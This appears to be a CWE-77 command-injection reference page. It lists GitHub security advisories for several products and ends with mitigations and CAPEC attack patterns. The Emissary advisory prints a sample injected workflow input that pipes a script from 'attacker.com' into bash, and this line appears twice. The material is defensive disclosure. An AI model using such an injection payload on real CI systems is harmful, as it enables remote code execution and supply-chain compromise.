Common Weakness Enumeration

CWE-77

Allowed-with-Review

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

5383 vulnerabilities reference this CWE, most recent first.

GHSA-3FCG-QM7H-HHPW

Vulnerability from github – Published: 2022-05-17 04:07 – Updated: 2022-05-17 04:07
VLAI
Details

rubygem-openshift-origin-console in Red Hat OpenShift 2.2 allows remote authenticated users to execute arbitrary commands via a crafted request to the Broker.

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{
  "affected": [],
  "aliases": [
    "CVE-2015-5274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-09-18T14:59:00Z",
    "severity": "MODERATE"
  },
  "details": "rubygem-openshift-origin-console in Red Hat OpenShift 2.2 allows remote authenticated users to execute arbitrary commands via a crafted request to the Broker.",
  "id": "GHSA-3fcg-qm7h-hhpw",
  "modified": "2022-05-17T04:07:01Z",
  "published": "2022-05-17T04:07:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5274"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2015:1808"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2015-5274"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1262518"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1808.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3FM5-J2PV-WJF2

Vulnerability from github – Published: 2021-12-27 00:00 – Updated: 2022-01-11 00:02
VLAI
Details

Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects D7000v2 before 1.0.0.74, LAX20 before 1.1.6.28, MK62 before 1.0.6.116, MR60 before 1.0.6.116, MS60 before 1.0.6.116, RAX15 before 1.0.3.96, RAX20 before 1.0.3.96, RAX200 before 1.0.4.120, RAX45 before 1.0.3.96, RAX50 before 1.0.3.96, RAX43 before 1.0.3.96, RAX40v2 before 1.0.3.96, RAX35v2 before 1.0.3.96, RAX75 before 1.0.4.120, RAX80 before 1.0.4.120, RBK752 before 3.2.17.12, RBR750 before 3.2.17.12, RBS750 before 3.2.17.12, RBK852 before 3.2.17.12, RBR850 before 3.2.17.12, RBS850 before 3.2.17.12, and XR1000 before 1.0.0.58.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-45614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-26T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects D7000v2 before 1.0.0.74, LAX20 before 1.1.6.28, MK62 before 1.0.6.116, MR60 before 1.0.6.116, MS60 before 1.0.6.116, RAX15 before 1.0.3.96, RAX20 before 1.0.3.96, RAX200 before 1.0.4.120, RAX45 before 1.0.3.96, RAX50 before 1.0.3.96, RAX43 before 1.0.3.96, RAX40v2 before 1.0.3.96, RAX35v2 before 1.0.3.96, RAX75 before 1.0.4.120, RAX80 before 1.0.4.120, RBK752 before 3.2.17.12, RBR750 before 3.2.17.12, RBS750 before 3.2.17.12, RBK852 before 3.2.17.12, RBR850 before 3.2.17.12, RBS850 before 3.2.17.12, and XR1000 before 1.0.0.58.",
  "id": "GHSA-3fm5-j2pv-wjf2",
  "modified": "2022-01-11T00:02:03Z",
  "published": "2021-12-27T00:00:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45614"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000064141/Security-Advisory-for-Pre-Authentication-Command-Injection-on-Some-Routers-and-WiFi-Systems-PSV-2020-0520"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3FPX-4C54-Q88F

Vulnerability from github – Published: 2025-02-17 03:31 – Updated: 2025-02-17 03:31
VLAI
Details

A vulnerability, which was classified as critical, has been found in MicroWorld eScan Antivirus 7.0.32 on Linux. Affected by this issue is the function sprintf of the file epsdaemon of the component Autoscan USB. The manipulation leads to os command injection. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
5.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-1370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-17T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, has been found in MicroWorld eScan Antivirus 7.0.32 on Linux. Affected by this issue is the function sprintf of the file epsdaemon of the component Autoscan USB. The manipulation leads to os command injection. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-3fpx-4c54-q88f",
  "modified": "2025-02-17T03:31:11Z",
  "published": "2025-02-17T03:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dmknght/FIS_RnD/blob/main/escan_av_usb_protection_multiple_vulns.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.295976"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.295976"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3FRW-92JP-G6W8

Vulnerability from github – Published: 2023-04-20 21:33 – Updated: 2024-04-04 03:37
VLAI
Details

VMware Aria Operations for Logs contains a command injection vulnerability. A malicious actor with administrative privileges in VMware Aria Operations for Logs can execute arbitrary commands as root.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-20865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-20T21:15:08Z",
    "severity": "HIGH"
  },
  "details": "VMware Aria Operations for Logs contains a command injection vulnerability. A malicious actor with administrative privileges in VMware Aria Operations for Logs can execute arbitrary commands as root.",
  "id": "GHSA-3frw-92jp-g6w8",
  "modified": "2024-04-04T03:37:30Z",
  "published": "2023-04-20T21:33:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20865"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2023-0007.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3FW2-QJM5-WJRF

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42
VLAI
Details

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DVA-2800 and DSL-2888A firmware version 2.3 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the dhttpd service, which listens on TCP port 8008 by default. When parsing the path parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the web server. Was ZDI-CAN-10911.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-27862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-12T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DVA-2800 and DSL-2888A firmware version 2.3 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the dhttpd service, which listens on TCP port 8008 by default. When parsing the path parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the web server. Was ZDI-CAN-10911.",
  "id": "GHSA-3fw2-qjm5-wjrf",
  "modified": "2022-05-24T17:42:01Z",
  "published": "2022-05-24T17:42:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27862"
    },
    {
      "type": "WEB",
      "url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10196"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-1426"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3FW3-6C7H-733M

Vulnerability from github – Published: 2026-04-12 06:30 – Updated: 2026-04-12 06:30
VLAI
Details

A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This vulnerability affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument ip leads to os command injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
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{
  "affected": [],
  "aliases": [
    "CVE-2026-6116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-12T05:16:01Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This vulnerability affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument ip leads to os command injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-3fw3-6c7h-733m",
  "modified": "2026-04-12T06:30:27Z",
  "published": "2026-04-12T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_181/README.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/792249"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/356976"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/356976/cti"
    },
    {
      "type": "WEB",
      "url": "https://www.totolink.net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3FXP-VWXM-2R5P

Vulnerability from github – Published: 2021-07-26 21:23 – Updated: 2021-08-03 18:58
VLAI
Summary
Command injection in gitlogplus
Details

All versions of package gitlogplus are vulnerable to Command Injection via the main functionality, as options attributes are appended to the command to be executed without sanitization.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "gitlogplus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-07-26T17:27:36Z",
    "nvd_published_at": "2021-07-23T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package gitlogplus are vulnerable to Command Injection via the main functionality, as options attributes are appended to the command to be executed without sanitization.",
  "id": "GHSA-3fxp-vwxm-2r5p",
  "modified": "2021-08-03T18:58:25Z",
  "published": "2021-07-26T21:23:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23412"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/808942"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-GITLOGPLUS-1315832"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/gitlogplus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Command injection in gitlogplus"
}

GHSA-3G23-95WX-3CC6

Vulnerability from github – Published: 2023-01-31 00:30 – Updated: 2023-02-07 15:30
VLAI
Details

Rukovoditel v3.2.1 was discovered to contain a remote code execution (RCE) vulnerability in the component /rukovoditel/index.php?module=dashboard/ajax_request.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-48175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-30T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Rukovoditel v3.2.1 was discovered to contain a remote code execution (RCE) vulnerability in the component /rukovoditel/index.php?module=dashboard/ajax_request.",
  "id": "GHSA-3g23-95wx-3cc6",
  "modified": "2023-02-07T15:30:26Z",
  "published": "2023-01-31T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/y1s3m0/vulnfind/blob/main/rukovoditel/rce_ajax_request.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3G44-8PVW-94RH

Vulnerability from github – Published: 2022-12-02 03:30 – Updated: 2022-12-05 21:30
VLAI
Details

D-Link DVG-G5402SP GE_1.03 was discovered to contain a command injection vulnerability via the Maintenance function.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-44928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-02T02:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "D-Link DVG-G5402SP GE_1.03 was discovered to contain a command injection vulnerability via the Maintenance function.",
  "id": "GHSA-3g44-8pvw-94rh",
  "modified": "2022-12-05T21:30:42Z",
  "published": "2022-12-02T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44928"
    },
    {
      "type": "WEB",
      "url": "https://cyber-guy.gitbook.io/cyber-guys-blog/pocs/cve-2022-44928"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3G6G-GQ4R-XJM9

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-04-08 00:12
VLAI
Summary
Emissary has GitHub Actions Shell Injection via Workflow Inputs
Details

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

Workflow file Injection points
.github/workflows/maven-version.yml 4
.github/workflows/cherrypick.yml 5
.github/workflows/maven-release.yml 1

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflow_dispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

  • Arbitrary code execution within the CI/CD runner
  • Repository modification via the contents: write token (push malicious commits)
  • Supply chain poisoning — downstream users who clone or build receive compromised code
  • Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs.* }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
  run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
  env:
    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

  • maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$
  • maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$
  • cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "gov.nsa.emissary:emissary"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:12:42Z",
    "nvd_published_at": "2026-04-07T17:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThree GitHub Actions workflow files contained **10 shell injection points** where\nuser-controlled `workflow_dispatch` inputs were interpolated directly into shell\ncommands via `${{ }}` expression syntax. An attacker with repository write access\ncould inject arbitrary shell commands, leading to repository poisoning and supply\nchain compromise affecting all downstream users.\n\n## Affected Files\n\n| Workflow file                            | Injection points |\n|------------------------------------------|------------------|\n| `.github/workflows/maven-version.yml`    | 4                |\n| `.github/workflows/cherrypick.yml`       | 5                |\n| `.github/workflows/maven-release.yml`    | 1                |\n\n## Details\n\nGitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before**\nthe shell interprets the command. When a `workflow_dispatch` input is placed directly\nin a `run:` block, an attacker who can trigger the workflow can break out of the\nintended command and execute arbitrary code.\n\n### Example \u2014 `maven-version.yml` (before fix)\n\n```yaml\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/${{ github.event.inputs.next_version }}\" \u003e\u003e \"$GITHUB_ENV\"\n```\n\nA malicious input such as `1.0.0\"; curl attacker.com/backdoor.sh | bash; echo \"`\nwould be interpolated directly into the shell, executing arbitrary commands with\nthe job\u0027s `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).\n\n### Impact\n\n- Arbitrary code execution within the CI/CD runner\n- Repository modification via the `contents: write` token (push malicious commits)\n- Supply chain poisoning \u2014 downstream users who clone or build receive compromised code\n- Credential exfiltration from the GitHub Actions environment\n\n## Remediation\n\nFixed in two PRs merged into release 8.39.0:\n\n### PR #1286 \u2014 Environment variable indirection\n\nReplaced all direct `${{ inputs.* }}` interpolation in `run:` blocks with\nenvironment variable indirection. Inputs are assigned to `env:` at the step level,\nthen referenced as shell variables inside `run:`.\n\n```yaml\n# After (safe \u2014 input is never interpreted by the shell parser)\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/$IN_NEXT_VERSION\" \u003e\u003e \"$GITHUB_ENV\"\n  env:\n    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}\n```\n\n### PR #1288 \u2014 Input validation\n\nAdded strict regex validation steps that run before any input is used:\n\n- `maven-version.yml`: Validates `next_version` matches `^[a-zA-Z0-9._-]+$`\n- `maven-release.yml`: Validates `release_suffix` matches `^[a-zA-Z0-9._-]+$`\n- `cherrypick.yml`: Validates `commits` matches `^([0-9a-f]{7,40})(\\s+[0-9a-f]{7,40})*$`\n\nAll jobs now also use `shell: bash` via `defaults.run.shell` to ensure consistent\nshell behavior.\n\n## Workarounds\n\nThere is no workaround other than upgrading. Organizations that have forked\nEmissary should apply the same environment variable indirection and input\nvalidation patterns to their workflow files.\n\n## References\n\n- [PR #1286 \u2014 environment variable indirection](https://github.com/NationalSecurityAgency/emissary/pull/1286)\n- [PR #1288 \u2014 input validation](https://github.com/NationalSecurityAgency/emissary/pull/1288)\n- [GitHub Security Lab: Keeping your GitHub Actions and workflows secure](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- Original report: GHSA-wjqm-p579-x3ww",
  "id": "GHSA-3g6g-gq4r-xjm9",
  "modified": "2026-04-08T00:12:42Z",
  "published": "2026-04-08T00:12:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3g6g-gq4r-xjm9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/pull/1286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/pull/1288"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NationalSecurityAgency/emissary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Emissary has GitHub Actions Shell Injection via Workflow Inputs"
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation
Implementation

If possible, ensure that all external commands called from the program are statically created.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Mitigation
System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-183: IMAP/SMTP Command Injection

An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.

CAPEC-248: Command Injection

An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.

CAPEC-40: Manipulating Writeable Terminal Devices

This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

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